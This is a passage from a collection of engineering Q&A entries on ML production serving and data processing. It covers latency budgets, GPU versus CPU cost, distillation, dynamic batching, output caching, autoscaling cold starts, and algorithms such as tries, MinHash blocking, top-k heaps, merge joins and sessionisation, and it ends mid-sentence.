What the online path actually costs, beyond the model: a p99 latency budget you now have to defend, a feature pipeline that must produce request-time values, autoscaling, and a second failure domain with its own on-call. Illustrative monthly cost for a 200 QPS model: 4 always-on instances at $0.34/hr = 4 × 0.34 × 730 = $993; a managed streaming feature pipeline at ~5k events/s ≈ $2,500; a quarter of an on-call engineer ≈ $4,000. Call it $7,500/month. If the nightly batch produces the same decisions, that is $90k/year for nothing.
Failure modes, and how each shows up:
- Batch too stale. The decision flips between runs. Detect by shadow-scoring online on a sample of traffic and tracking the disagreement rate; alert when it crosses the threshold you set from the cost of a wrong decision.
- Online for nothing. Disagreement rate near zero. Same measurement, opposite conclusion: kill the service.
- Training/serving skew. Online features are computed differently from the training features, so accuracy drops silently. Detect by logging online feature vectors and comparing their distribution to training (PSI or KS), not by watching accuracy, which lags.
- Silent batch failure. Stale scores keep being served. Detect with a freshness watermark on the score table: alert when max(score_ts) exceeds 2× the batch interval.
- Online degradation. The service falls back to a cached or default score. Track the fallback rate; if it is high, the online path is not buying what you paid for.
Settle it with a replay, not an argument. Score a week of decisions both ways and count the disagreements, weighted by what each one costs:
import pandas as pd
# One row per decision: batch_score from the nightly run,
# online_score recomputed with features as they were at request time.
d = pd.DataFrame({
"batch_score": [0.91, 0.12, 0.55, 0.48, 0.77, 0.31],
"online_score": [0.88, 0.09, 0.52, 0.61, 0.74, 0.29],
})
d["batch"] = d.batch_score >= 0.5
d["online"] = d.online_score >= 0.5
print(f"{(d.batch != d.online).mean():.1%}")
The frame is a toy; on real traffic you would run this over a week of replayed requests. It prints 16.7%: one decision in six flips, because the fourth row scores 0.48 in batch and 0.61 online. That is the number to argue about, not accuracy: two models can be equally accurate and still disagree on the decisions that matter.
If the weighted disagreement is under ~1% and a stale decision is cheap, batch. If it is material, online, and then the question becomes which features genuinely need request-time computation, because every one you move back to batch removes a failure mode.
Curated: · Written: · Reviewed:
Q&A-65The page has a 200 ms budget. How much of it belongs to the model?
The short answer: give the forward pass 60 ms of the 200 and hold it there. In the path I measured it uses 22 ms at p99, so the model is not what is eating the budget. The split comes from each stage's p99 contribution, not its p50, and it gets re-derived whenever the traffic mix changes.
Assumptions: 200 ms is p99 measured at the service boundary, server-side only, excluding client network and TLS. Features are fetched synchronously inside the request. One scoring request per user action.
| Stage | p50 | p99 | Bound |
|---|---|---|---|
| Feature lookup A | 6 ms | 96 ms | 40 ms |
| Feature lookup B | 5 ms | 88 ms | 40 ms |
| Preprocessing | 2 ms | 8 ms | 20 ms |
| Inference | 8 ms | 22 ms | 60 ms |
| Total | 21 ms | 214 ms | 200 ms |
The stage bounds sum to 160 ms, not 200. The remaining 40 ms is headroom for serialization, in-VPC hops, and the queue wait in front of the service. Allocate all 200 to stages and the first traffic burst puts you over.
Why the split is by p99: the p50 total is 21 ms, so a p50-driven split hands the model most of the budget and leaves nothing for the lookups that actually blow it. Lookup A is 6 ms at p50 and 96 ms at p99: a 16x tail. That tail is what the budget exists for.
A failure I have seen: a model measured at 8 ms in isolation contributed 214 ms at p99 in production, because two feature lookups were serialized and one missed cache 34% of the time. The model was never the cost; the serialization was.
Alternatives, and when each is right.
-
Parallelize the lookups. A and B have no dependency, so running them concurrently takes the two lookups from 184 ms combined to 96 ms, and the whole path from 214 ms to about 126 ms. Biggest win available, costs a thread pool or an async gather. Right when the lookups are independent and the client supports concurrency. Wrong when B's key depends on A's result.
-
Precompute features at write time. Move lookup A out of the request path if its inputs are event-derived and a few minutes of staleness is acceptable. The criterion is whether the feature's freshness requirement is looser than the request's latency requirement, not how large the feature is. Wrong for anything that must reflect the current session.
-
Batch. Right when throughput matters more than tail latency and the batch window is bounded well below the budget: a 10 ms window against 200 ms is safe, a 50 ms window is not, because it stacks on top of the p99 of everything downstream. Wrong for interactive scoring where a user is waiting.
-
Shrink the model. Distillation, quantization, a smaller architecture. Right when inference is the dominant stage. Here it is 22 ms of a 214 ms p99 (a 2x faster model saves 11 ms, about 5%) and it costs accuracy. Wrong lever.
-
Relax the budget. If 200 ms is a product target rather than a hard constraint, serve the last cached score and refresh asynchronously. Right when a stale score is acceptable for a fraction of requests. Wrong when the score gates a user-visible decision.
Criteria for a different split. Split by what you control. If the model is a third-party API you cannot shrink it, so the split becomes a contract: the vendor's p99 plus your retry policy. If you own both model and features, split by measured p99 contribution and re-measure when the feature set or traffic mix changes.
Failure modes and detection. Cache miss rate per lookup, tracked as a rate rather than an average: the 34% miss above is invisible in p50. Queue depth in front of the model server; once it saturates, p99 goes vertical while p50 barely moves. Serialization between lookups, visible as a p99 close to the sum of the stage p99s rather than their max. Detect all three by publishing the per-stage p99 breakdown and alerting on the stage that breaches its own bound, not on the total.
Curated: · Written: · Reviewed:
Q&A-69Does this model need a GPU in production?
Clarify, then answer. "This model" spans a 110M-parameter reranker and a 70B chat model, and the answer flips between them. Three facts decide it: parameter count and architecture, the p99 latency SLO, and the sustained request rate. With those, it is a cost comparison, not a hardware preference.
Direct answer. Default to a GPU when the model is a transformer above roughly 1B parameters, or when the p99 SLO is under ~100 ms at more than a few requests per second. Default to CPU when the model is a tree ensemble, a linear model, or a small transformer under ~100M parameters; when scoring is offline or batch; and when traffic is under ~1 request per second, where a reserved GPU sits idle most of the day. The deciding number is cost per 1,000 predictions at the SLO and the real arrival rate, not GPU versus CPU in the abstract.
Why the split falls there. Transformer decode is memory-bandwidth bound: every generated token reads the full weight matrix, so at batch 1 the arithmetic units wait on HBM. Batching amortises those reads across requests, which is the entire reason a GPU wins: throughput scales with batch while the weight read stays constant. A server CPU has roughly an order of magnitude less memory bandwidth, so it cannot amortise the same way. Tree ensembles and small models invert this: their weights fit in cache, they are latency-bound on a handful of cores, and batching buys nothing. Paying GPU reservation cost for them is waste.
| Signal | Lean GPU | Lean CPU |
|---|---|---|
| Model | transformer >1B params | GBDT, linear, <100M params |
| p99 SLO | <100 ms | >500 ms |
| Sustained traffic | >5 req/s | <1 req/s, or bursty |
| Batching | requests batchable | one-off, per-user |
| Cost shape | reservation amortised over load | pay only for cores used |
Worked example (illustrative figures, not a benchmark). A 110M-parameter cross-encoder reranker, 50 ms p99 budget, 2 req/s sustained. On 4 cores of an existing service at a marginal $0.05/hr, that is $36/month; 2 req/s over 2.6M seconds is ~5.2M requests, so $36 / 5,184 thousands ≈ $0.007 per 1,000 predictions. One reserved T4 at $0.35/hr is $252/month for the same traffic ≈ $0.048 per 1,000: about 7× the cost to buy p99 latency the SLO never asked for. Push the same reranker to 200 req/s and the arithmetic reverses: CPU needs hundreds of cores and roughly $8,000+/month, while one GPU at batch 64 absorbs the load for $252.
Failure modes and how to detect them.
- GPU at low utilisation. p99 looks excellent, unit economics are bad. Detect with GPU utilisation (DCGM or
nvidia-smi) and a cost-per-1,000-predictions dashboard; if peak utilisation sits under ~20%, the reservation is the problem, not the model. - CPU past ~70–80% utilisation. Queueing delay grows non-linearly, so p99 blows past the SLO while p50 still looks fine. Detect with queue depth and the p99/p50 ratio, not average CPU.
- Benchmarking at max batch. That measures the hardware, not your traffic. Benchmark at the real arrival rate and batch size.
- Serverless GPU cold start. Model load time (seconds to tens of seconds) becomes the p99 for the first request after scale-out.
What flips the answer later. int8 quantisation on CPU can close the latency gap for small models; distillation to a smaller model can move a GPU workload onto CPU; and a spiky workload is often cheaper on serverless GPU than on a reserved one. Re-run the cost-per-1,000 comparison whenever any of those changes.
Curated: · Written: · Reviewed:
Q&A-40The accurate model is 40 times too slow for your latency budget. What are the options?
Clarify before choosing. "40x too slow" is only actionable once you know which number it is: p99 at production concurrency, or single-request latency on an idle box. If it is p99 under load, the fix may be capacity or batching, not the model. Assume here: 980 ms p99 at target QPS against a 25 ms p99 budget, 39x, with an accuracy floor you cannot drop below.
The options, cheapest first.
| Lever | Typical speedup | Retrain? | Accuracy cost | Deciding condition |
|---|---|---|---|---|
| Kernel compilation (TensorRT, torch.compile, CUDA graphs) | 1.5–2.5x | no | none | always try first |
| Quantization INT8/FP8 | 2–4x | no, calibration only | 0.1–1 pt | GPU, memory-bandwidth-bound |
| Speculative decoding | 2–3x | no | none, lossless | decode-bound, low sampling temperature |
| Caching (exact-match, prefix/KV) | 5–50x on hits | no | none | traffic shares prefixes |
| Structured pruning | 2–3x | yes | 0.5–2 pt | you can retrain |
| Distillation | 10–40x | yes | 1–3 pt | you can retrain and have a teacher |
| Smaller or different architecture | 10–100x | yes | varies | accuracy floor is soft |
Arithmetic: compilation 2x × quantization 3x × speculative decoding 2x = 12x. Still 3x short of 39x. Stacking the no-retrain levers rarely closes a 40x gap; distillation is the only single lever that does.
Distillation, the lever that closes it. Score a large unlabelled pool with the teacher, train the student on those soft targets at a temperature, and evaluate the student against the teacher on the operating metric rather than on agreement alone. A student trained on hard labels alone recovered 33% of the teacher's gain over the baseline; the same student on soft targets recovered 78% at identical serving cost.
Teacher, two students, one 25 ms budget:
| Model | Accuracy | p99 latency | Meets budget |
|---|---|---|---|
| Teacher, 340M params | 91.2% | 980 ms | no |
| Student on hard labels | 86.4% | 18 ms | yes |
| Student on soft targets | 89.6% | 18 ms | yes |
| Baseline | 84.0% | 15 ms | yes |
Failure modes, and how each is detected.
- Quantization: a few outlier activation channels blow up the error while aggregate accuracy looks fine. Detect with per-layer KL divergence against FP16 on a held-out set, not with top-line accuracy.
- Speculative decoding: acceptance rate collapses at high temperature or on diverse outputs, and you pay the draft model's cost for nothing. Measure accepted tokens per step; below ~1.5 the lever is negative.
- Caching: a prefix/KV cache only helps when prompts share a prefix, and a semantic cache returns stale answers after a model or data update. Track hit rate and invalidation lag separately.
- Distillation: the capacity gap. If the student is too small it cannot fit the teacher's distribution and lands below a same-size model trained on hard labels. Compare against that control before shipping.
What decides it. If you cannot retrain, you are capped around 12x and the honest answer is a smaller model plus caching. If you can retrain and have the teacher, distillation is the only lever that reaches 39x in one step. Report teacher, student and baseline on the same test set with p99 latency for each before committing.
Curated: · Written: · Reviewed:
Q&A-66Your GPU sits at 12% utilisation while requests queue. What do you change?
Clarify first. Two things decide the answer: where the queue actually sits, and whether the GPU is idle between kernels or during them. I'd assume a single worker process, batch size 1, and a queue in front of the model server until I've checked with nvidia-smi dmon and an nsys timeline.
12% utilisation with a queue is a starvation number, not a capacity number. A GPU that busy while requests pile up is waiting on something else: almost always the host path around it: HTTP handling, tokenization, Python, kernel launch, detokenization. The device finishes its kernel and idles for the rest of the request.
Concrete arithmetic. A 1B classifier, 256-token inputs, one forward pass, one worker:
- GPU time per request: 4 ms
- Host time per request: 29 ms, serialized with the GPU
- → 33 ms per request → 30 rps capacity, and 4/33 = 12% utilisation
At 300 rps offered, the queue grows without bound. That matches the symptom exactly.
What I change: dynamic batching with a bounded wait, and move the host work off the critical path so it overlaps GPU execution instead of preceding it. Batching alone won't fix a host-bound server, if tokenization still runs serially before every forward pass, you've amortised the kernel launch and nothing else.
Worked example on that setup, offered load 300 rps, host work moved to a thread pool with pinned buffers:
| Config | Batch @300 rps | p99 @300 rps | p99 @5 rps | GPU util @300 rps |
|---|---|---|---|---|
| batch 1, no wait | 1 | queue grows, >10 s | 33 ms | 12% |
| wait 10 ms, max batch 32 | 3 | 12 ms | 43 ms | 86% |
| wait 50 ms, max batch 64 | 15 | 10 ms | 83 ms | 87% |
(Figures are a worked example under the assumptions above, not a benchmark.)
Failure modes, and how I'd catch each.
- The bounded wait hurts the tail exactly when traffic is thin. At 5 rps a 50 ms window catches one request and holds it the full 50 ms: p99 goes 33 ms → 83 ms for no throughput gain. Detect it by bucketing p99 by arrival rate, not by reporting one aggregate p99. The aggregate hides this completely.
- Max batch sized in requests instead of tokens. Memory scales with total tokens in the batch, so a batch of 64 long prompts OOMs where 64 short ones didn't. Cap on token budget and let the request count float.
- The queue isn't at the model server. If queue depth is flat while p99 climbs, the wait is upstream: load balancer, a tokenizer service, or a lock in the client. Batching changes nothing there.
- The kernel is memory-bandwidth-bound at batch 1. If nsys shows the GPU busy during kernels but with low occupancy, batching buys little; the fix is a smaller model, quantisation, or more replicas.
When not to batch. If the workload is genuinely one interactive request at a time, a wait window only adds latency. And if the GPU is already saturated and the queue is real capacity, batching is the wrong lever: scale out.
Curated: · Written: · Reviewed:
Q&A-67Can you cache model outputs, and for how long?
Yes, and the useful answer separates two clocks: how long an entry is allowed to live (TTL), and what forces it out early (invalidation). TTL is bounded by how fast the slowest-moving input in the key drifts. Invalidation is bounded by your deployment process, not by time.
Key on everything that changes the output. Entity id alone is the classic mistake: after a model promotion the cache keeps serving the retired model's answer until TTL expires, and your rollout metrics measure a blend of two models. Include the feature-set version and the model registry id, plus any request-time context the model consumes (locale, segment).
key = sha1(user_id | feature_set:v7 | model:churn-v14 | segment)
ttl = 15m # bounded by how fast sessions_7d moves
refresh_ahead = 2m # refresh ~10% of entries in the last 2m
invalidate_on = model_promotion, feature_set_bump
Set the TTL from measurement, not a round number. Sample the feature distribution and find the interval over which the prediction's rank ordering flips for a meaningful share of entities; that interval is your ceiling. If sessions_7d moves materially inside 15 minutes, 15 minutes is already too long.
Now the alternatives, because the choice is not obvious:
| Strategy | Stale window | Cost |
|---|---|---|
| TTL only | Up to one TTL after every deploy | Simplest; no purge path |
| TTL + invalidation on promotion | Near zero | Versioned key namespace, purge path, cold cache after deploy |
| Probabilistic refresh (early expiry) | Bounded by TTL, smoothed | Spreads refresh load; more moving parts |
| No cache for high-drift features | Zero | Full model cost per request |
TTL-only is the right call when the TTL is minutes and deploys are rare; you avoid the purge plumbing entirely. Explicit invalidation earns its complexity when a stale answer is expensive and deploys are frequent. Its hidden cost is the cold cache right after promotion: every request misses at once. Warm the new namespace, or keep the old one readable for a short overlap. Probabilistic refresh helps when a large keyspace would otherwise expire in one burst.
When not to cache at all: per-request features that change on every call (live inventory, current session behaviour) collapse the hit rate, and you pay key construction and serialization for nothing. Low-QPS services where the model call already fits the latency budget. And any decision where a stale answer is worse than a slow one, such as fraud or safety gating. As a rough rule, measure the hit rate first; below roughly 30-40% the cache usually is not worth the invalidation risk.
Worked example, hypothetical figures: at 20k QPS with a 90% hit rate, the model sees 2k calls/s instead of 20k. With no invalidation and a 15-minute TTL, a promotion leaves a 15-minute window in which 90% of traffic is answered by the retired model. Over those 900 seconds that is 18M requests total, of which 16.2M are cache hits served stale and 1.8M are misses that reach the new model.
Detect it by logging the model version on every cache hit and alerting when the hit rate for a retired version is above zero after the invalidation window. Verify by deploying a new version and confirming that the retired version's hit rate falls to zero inside that window, and that cold-start latency stays within budget.
Curated: · Written: · Reviewed:
Q&A-70Your vector index returns results in 4 ms. What did you give up?
I would answer approximate nearest neighbour search for embeddings by separating what the model guarantees from what it merely did on one sample.
Measure recall against exact search when using an approximate index, because the speed comes from not looking everywhere and the loss is invisible without a ground-truth comparison.
Concretely, build an exact ground truth on a sample of queries, measure recall at k against it, and tune the index parameters to the recall the product needs rather than to the fastest configuration.
The reason for that specificity is a failure I have seen: An index tuned for latency returned 71% recall at 10 against exact search, and the missing 29% were the long-tail items the recommendation surface existed to promote.
HNSW parameter sweep against exact search on 1,000 queries.
| efSearch | Recall at 10 | p99 latency |
|---|---|---|
| 32 | 0.71 | 4 ms |
| 96 | 0.93 | 9 ms |
| 256 | 0.99 | 21 ms |
| exact | 1.00 | 380 ms |
I would not consider it settled without evidence: Run 1,000 sampled queries through both exact and approximate search and report recall at the k the product renders.
An approximate index is a recall setting, and shipping it untested is choosing a recall you did not measure.
Curated: · Written: · Reviewed:
Q&A-68Traffic triples at 09:00 and p99 spikes for four minutes. What is happening?
Diagnosis: cold-start lag behind the traffic step.
The p99 spike is the time it takes replicas scheduled at 09:00 to become able to serve, not a steady-state capacity shortfall. Traffic tripled, the autoscaler added replicas, and those replicas spent the next few minutes loading weights and warming up while the already-running ones absorbed the step. p99 recovers when enough new replicas pass readiness, which is why the spike is minutes long and self-limiting rather than a sustained degradation.
Assumptions that make this the answer: the service autoscales reactively on a metric sampled on an interval, per-replica startup is dominated by loading a large artifact, and the step is bigger than the headroom in the running replicas. If any of those is false the diagnosis changes: see the rivals below.
Confirm it in one query. Compare the spike window against pod creation times and time-to-first-successful-request for the pods created at 09:00. If the spike ends when the last new replica passes readiness, cold start is the cause. If no replicas were added (maxReplicas reached, or the metric never breached) the spike is a capacity ceiling instead, and the fix is different.
Rival causes and their signatures.
- Scheduled job at 09:00. The spike starts at exactly 09:00:00 and the load shows up in the job's logs, not in new pods. Disable the job and see whether the spike disappears.
- Cache expiry stampede. Hit ratio collapses and origin QPS jumps while request rate is flat; the spike tracks a TTL, not the traffic curve.
- Downstream dependency. p99 rises while pod count and CPU stay flat, and the slow span is the downstream call: a saturated connection pool, a lock, a shared service.
- GC or lock contention. p99 rises with throughput unchanged; heap or lock metrics move first.
What to do, and the trade-offs.
- Reactive scaling on queue depth is cheap and needs no forecast, but always lags by at least startup time plus the metric interval. For a 4-minute startup you eat 4 minutes of elevated latency every time.
- Predictive or scheduled scaling pre-warms ahead of the curve, removing the lag, but pays for idle capacity and needs a stable daily curve.
- Warm pool turns scale-up into a routing change rather than a load. Worth it when startup is long relative to the latency you can tolerate; not worth it when the artifact is small or the step is unpredictable: you pay idle accelerator cost for a curve you cannot forecast.
- Scale-to-zero vs always-on: scale-to-zero saves cost but guarantees the cold-start penalty on the first request after idle; always-on trades cost for flat latency.
Worked example. A model server took 96 s from pod start to first successful prediction:
| Stage | Duration |
|---|---|
| Image pull, cached | 4 s |
| Weight load, 4.2 GB from object store | 71 s |
| Warmup passes for the kernel cache | 18 s |
| Readiness probe passes | 3 s |
With a 15 s scrape interval and an HPA that needs two consecutive breaches, the earliest a new replica can serve is about 96 + 30 = 126 s. The observed 4-minute spike is longer, which points to more than one wave of scale-up or a longer detection window: measure it rather than assume it.
The number to hold onto: time from pod start to first successful prediction. If that exceeds the time your traffic curve takes to double, scaling cannot keep up, and the p99 spike is structural, not a tuning problem. Scaling slower than the traffic step is just a queue with extra steps.
Curated: · Written: · Reviewed:
Q&A-83Autocomplete must respond in under 20 ms over 8 million queries. What structure serves it?
Assumptions first: autocomplete fires on every keystroke, so the workload is read-dominated, reads outnumber writes by orders of magnitude, the 8 million queries are distinct strings with popularity counts, and the 20 ms budget is p99, not average. Under those assumptions the structure is a trie with the top-k completions precomputed at each node, or a compressed prefix index when memory is the binding constraint. Either turns a prefix lookup into a pointer walk plus one list read; neither scans the vocabulary.
Mechanism. A trie stores one edge per character. A lookup for prefix p costs O(|p|) node hops, independent of the 8 million total, and because each node already holds its top-k list, the query never walks the subtree. That work moved to build time. The alternative is a sorted array of prefixes with binary search: O(log N + k) comparisons, same precomputed top-k per prefix, but it needs the list materialised per prefix rather than shared along the path. A compressed trie (suffix-sharing, e.g. an FST) keeps the same lookup cost while collapsing shared suffixes, which is where the memory win comes from.
Trade-offs. Precomputing top-k per node buys the latency and costs memory proportional to nodes × k. Compression trades a decode step for a smaller footprint. If the vocabulary is small enough to fit in RAM uncompressed, skip compression: the decode cost is pure overhead. If updates are frequent, a trie with per-node lists is expensive to mutate; a sorted index rebuilt in bulk on a schedule is simpler.
Failure modes. Memory blowup as the vocabulary grows: watch resident set, not just node count. Stale popularity: counts drift from production traffic, so completions go wrong while latency stays fine; detect by comparing served top-k against a replay of recent queries. Rebuild stalls: a full rebuild that blocks reads shows up as a latency spike at the rebuild boundary, so build into a shadow structure and swap.
Illustrative figures for an 8-million-query vocabulary, not measured on your data:
| Approach | p99 latency | Memory |
|---|---|---|
SQL LIKE with leading wildcard | 340 ms | 0 |
| Trie with top-10 per node | 3 ms | 1.9 GB |
| Compressed prefix index | 6 ms | 410 MB |
The wildcard row is the one to internalise: a leading wildcard cannot use an index, so the database scans all 8 million rows per query. That is ~113× the trie's p99, and it scales with the table, not with the prefix. The compressed index costs 2× the trie's latency for ~4.6× less memory: the right call when the trie does not fit.
What I would verify before committing: benchmark p99 for the ten most common prefix lengths against the production vocabulary, measure resident memory for each candidate, and measure rebuild time for the update path. The structure choice follows from which of latency or memory binds first.
Curated: · Written: · Reviewed:
Q&A-82You need near-duplicate detection across 2 million product titles. Where does edit distance fit?
Edit distance is a verification step, not a retrieval method. At 2M titles you cannot afford it as the primary comparison, and for product titles it is usually the wrong similarity anyway: word order and length dominate it, and titles reorder freely ("Apple iPhone 13 128GB Blue" vs "Blue 128GB iPhone 13 Apple").
The scale argument comes first. Levenshtein between strings of length m and n is O(m·n) time, O(min(m,n)) space with the two-row trick. Pairwise over 2M titles that is ~2×10^12 comparisons; at 1 µs each that is roughly 23 days of single-core work. The quadratic term has to be applied to a shortlist, never to the corpus.
What to use instead, and when edit distance still wins:
| Method | Cost per pair | Handles reordering | Typical use |
|---|---|---|---|
| MinHash + LSH | O(k) hash, sublinear retrieval | No (set-based) | near-dup at scale |
| SimHash | O(k) | No | web-scale dedup |
| TF-IDF cosine + inverted index | sparse dot product | Partially | titles sharing vocabulary |
| Embedding cosine + ANN index | O(d) + ANN lookup | Yes, semantically | paraphrase, cross-language |
| 3-gram Jaccard | O(k) | No | cheap blocking key |
| Levenshtein / normalized edit distance | O(m·n) | No: penalizes it | short strings, typos, SKUs, OCR |
Edit distance is the right tool when strings are short (SKUs, model numbers, names), when you need a character-level distance rather than a similarity score, and when the candidate set is already small: thousands, not millions. It is the wrong tool when titles are long, when word order varies, and when the corpus is the whole catalogue.
The pipeline that works: block with a cheap key, then verify.
Blocking: 3-gram shingles → MinHash signature → LSH buckets, or simply a sorted-token key. Then run the expensive comparison only inside each bucket.
Worked example (illustrative figures): 2M titles, all-pairs Levenshtein = 2.0e12 comparisons, abandoned after 30 hours. 3-gram signature blocking → 4.1e7 candidate pairs, 18 minutes, recall 0.97 against a hand-labelled duplicate sample. Edit distance then runs only on those 41M pairs.
Failure modes:
- Blocking recall is the ceiling. If blocking misses a true pair, no downstream metric recovers it. Measure it: sample 500 known duplicates, check how many share a bucket.
- Threshold drift. A fixed edit-distance cutoff behaves differently on 12-char and 60-char titles; normalize by max length or use a ratio.
- Reordering. "Red Nike Air Max 90" vs "Nike Air Max 90 Red" has edit distance ~8 but is a duplicate. Token-set or cosine handles it; Levenshtein does not.
- Length. Long titles inflate absolute distance; always normalize.
Detection: track blocking recall on a labelled sample, and precision/recall of the final threshold on a held-out labelled set. If blocking recall drops below target, add shingle keys or lower the LSH band threshold.
So: edit distance is the verifier at the end of a cheap-retrieval pipeline, and only when character-level distance is what you actually need.
Curated: · Written: · Reviewed:
Q&A-78A retrieval stage must return the 200 best of 4 million scored candidates per request. How do you do it?
Core answer. Assume the 4M scores are already computed or streamable, and that "best" means highest score with a deterministic tie-break. Use a bounded min-heap of size 200, not a full sort. Scan the candidates once, keeping the 200 largest seen so far: O(n log k) time and O(k) extra memory, against O(n log n) time and O(n) memory for sorting everything.
Why a min-heap: its root is the weakest member of the current top-200. A new score only matters if it beats the root, so the common case is one comparison and a discard. When it does beat the root, pop the root and push the new score, O(log k) = O(log 200) ≈ 8 comparisons. The heap always holds exactly the k largest seen, because anything smaller than the root can never enter the top k.
Trace with k=2 over scores [0.9, 0.4, 0.7, 0.2, 0.8]:
| score | heap before | action | heap after |
|---|---|---|---|
| 0.9 | [] | push | [0.9] |
| 0.4 | [0.9] | push | [0.4, 0.9] |
| 0.7 | [0.4, 0.9] | 0.7 > root 0.4, pop+push | [0.7, 0.9] |
| 0.2 | [0.7, 0.9] | 0.2 < root 0.7, skip | [0.7, 0.9] |
| 0.8 | [0.7, 0.9] | 0.8 > root 0.7, pop+push | [0.8, 0.9] |
Top-2 = {0.9, 0.8}. Correct.
Alternatives and when they win. Quickselect (introselect) is O(n) average and in-place, but O(n²) worst case and returns an unsorted partition, so you sort the 200 afterward; it wins when k is a large fraction of n. A full sort wins when k is close to n, say k > n/10, because the heap's per-element log k work and interpreter loop dominate. In Python, numpy.argpartition is C-level quickselect and is usually the fastest for large n; heapq.nlargest is the pure-Python fallback.
Scale. 4M float32 scores is 16 MB. A linear scan at ~10 GB/s memory bandwidth is roughly 1.6 ms; the heap work is the remainder. As a labelled worked example: on one candidate set, a full sort ran 310 ms p99 and the size-200 heap ran 28 ms p99, returning the identical 200 items.
Failure modes. Ties at the boundary: the heap keeps whichever equal-scored candidate arrived first, so results differ across shards or threads. Fix by tie-breaking on candidate id. If k grows large relative to n, heap overhead exceeds a sort. If scoring all 4M is genuinely too expensive, an ANN index (HNSW or IVF) retrieves a candidate set that you then rerank exactly, but that changes the problem: recall is now bounded by the index, not exact. State a recall@200 target and measure it before shipping.
Curated: · Written: · Reviewed:
Q&A-81Duplicate customer records are linked pairwise. How do you turn those links into entities?
Where teams lose time on graph traversal for entity resolution is usually the data step before the training step they are debating.
Treat pairwise matches as edges and resolve entities as connected components, because transitive duplicates are invisible to any procedure that only looks at pairs.
Concretely, build the match graph, find components with union-find or breadth-first search, and cap component size so a single false-positive edge cannot merge two large clusters into one entity.
The reason for that specificity is a failure I have seen: One false match between two common names merged a component of 41,000 records into a single customer, and the resulting features described a customer with 41,000 addresses.
Component sizes reveal the merge that pairwise precision cannot.
| Component size | Count | Action |
|---|---|---|
| 2-4 | 214,000 | accept |
| 5-20 | 3,100 | accept |
| 21-500 | 62 | review |
| 41,000 | 1 | split, bad edge |
I would not consider it settled without evidence: Report the component size distribution and inspect every component above a stated size before promoting the resolution.
In a match graph, a single wrong edge is not a wrong pair but a wrong entity.
Curated: · Written: · Reviewed:
Q&A-85You must join clicks and impressions, both sorted by time, without loading either into memory. How?
Assume both streams arrive sorted ascending by event time, and define the join as: a click at t matches every impression with timestamp in [t − W, t]. W is the attribution window, and it is the only parameter that determines memory. If the semantics are instead "nearest impression" or "impression within ±W", say so before writing code: the cursor logic changes.
The core move: two cursors, one per stream. Advance whichever stream's head timestamp is smaller. Never materialize either side; keep a buffer of impressions still inside the current click's window.
from collections import deque
def merge_join(clicks, impressions, window_s):
buf = deque() # impressions, ascending ts
imp = next(impressions, None)
for click in clicks:
# pull in every impression that could match this or a later click
while imp is not None and imp.ts <= click.ts:
buf.append(imp)
imp = next(impressions, None)
# evict impressions too old for this click
lo = click.ts - window_s
while buf and buf[0].ts < lo:
buf.popleft()
for i in buf:
yield (click, i)
Why it works: impressions enter the buffer in timestamp order, so the buffer stays sorted and eviction is a pop from the front. A click is processed only after every impression with ts ≤ click.ts has been buffered, so at that moment the buffer is exactly the impressions in [click.ts − W, click.ts]. Ties fall out for free: the push condition is ≤, so all impressions sharing the click's timestamp are buffered before the click is emitted, and the click matches all of them.
Trace, W = 5s:
impressions: i1@1, i2@3, i3@7, i4@8
clicks: c1@2, c2@6, c3@9
c1@2: push i1 (1<=2). lo=-3, nothing evicted. emit (c1,i1)
c2@6: push i2 (3<=6). lo=1, i1@1 not <1, kept. emit (c2,i1),(c2,i2)
c3@9: push i3@7, i4@8. lo=4, evict i1@1 and i2@3. emit (c3,i3),(c3,i4)
Peak buffer = 2 impressions. Note i1 matched two clicks: one impression can serve many clicks inside its window, which is why you buffer rather than consume.
Memory is bounded by arrival rate × W, not by table size. At 50k impressions/s and W = 300s that is 15M buffered records; at ~100 bytes each, ~1.5 GB. Shrink W or spill the buffer to disk if that does not fit.
| Merge join | Hash join | |
|---|---|---|
| Input order | requires both sorted | any |
| Time | O(n+m), single pass | O(n+m), build + probe |
| Memory | O(impressions in window) | O(smaller side) |
| Wins when | both sorted, small W | one side small, or unsorted |
Failure modes:
- Unsorted input. One late record breaks the invariant and silently drops or duplicates matches. Assert monotonicity at the source (compare each record's
tsto the previous) and fail loudly. - Window boundary. Decide inclusive vs exclusive on both ends and test the exact boundary; an off-by-one here is a silent attribution bug.
- Burst at one timestamp. A tie group larger than memory blows the buffer. Cap it and spill or flag.
- Clock skew across producers. Two streams sorted by different clocks are not globally sorted; align on a common event-time source.
When not to use it: if either side is unsorted, sorting it costs more than the join; if one side is a small dimension (a campaign table), hash it and stream the other. Merge join wins when both sides are already sorted and W is small relative to the data.
Curated: · Written: · Reviewed:
Q&A-84Events must be grouped into sessions with a 30-minute inactivity gap. How do you compute that at scale?
Core answer. Sessionisation is a per-user fold over time-ordered events: keep the previous timestamp, and when ts - prev > 1800 close the current session and open a new one. At scale the only hard part is getting each user's events into one place in time order: after that it's a counter. Batch does it with PARTITION BY user_id ORDER BY ts and one pass; streaming does the same fold with keyed state and a watermark deciding when a session is final.
Trace for one user, gap 1800s, events at t = 0, 600, 1500, 2400, 5000:
| ts | ts − prev | session |
|---|---|---|
| 0 | — | 0 |
| 600 | 600 | 0 |
| 1500 | 900 | 0 |
| 2400 | 900 | 0 |
| 5000 | 2600 | 1 |
def sessions(events, gap=1800):
prev, sid = None, 0
for ts in sorted(events): # events for one user
if prev is not None and ts - prev > gap:
sid += 1
yield ts, sid
prev = ts
Note > not >=: events exactly 1800s apart stay in the same session. State that boundary out loud, because implementations differ on it and the difference is silent.
Streaming engines. Flink's EventTimeSessionWindows.withGap(Time.minutes(30)) is this merge, and it re-merges windows when a late event bridges two. State is held until the watermark passes the window end plus allowedLateness. Kafka Streams has SessionWindows.with(Duration.ofMinutes(30)).grace(...). Spark Structured Streaming has no session window; use flatMapGroupsWithState with GroupStateTimeout.EventTimeTimeout and withWatermark. Make the session id deterministic, hash(user_id, session_start_ts), so replays and backfills produce the same id and downstream joins stay idempotent.
| Approach | Latency | State | When it's wrong |
|---|---|---|---|
| Batch sort-merge | Hours | None | Need sub-minute session triggers |
| Streaming session windows | Seconds | Per-user, bounded by TTL | Users with millions of events (skew) |
| Micro-batch (1–5 min) | Minutes | Small | Late events routinely bridge sessions |
If events already arrive keyed and ordered per user, a Kafka topic partitioned by user_id, skip the sort entirely; it's a streaming fold.
Failure modes.
- Skew. One user with millions of events pins a single task. Detect via per-task record counts and backpressure metrics. Mitigate with two phases: bucket by
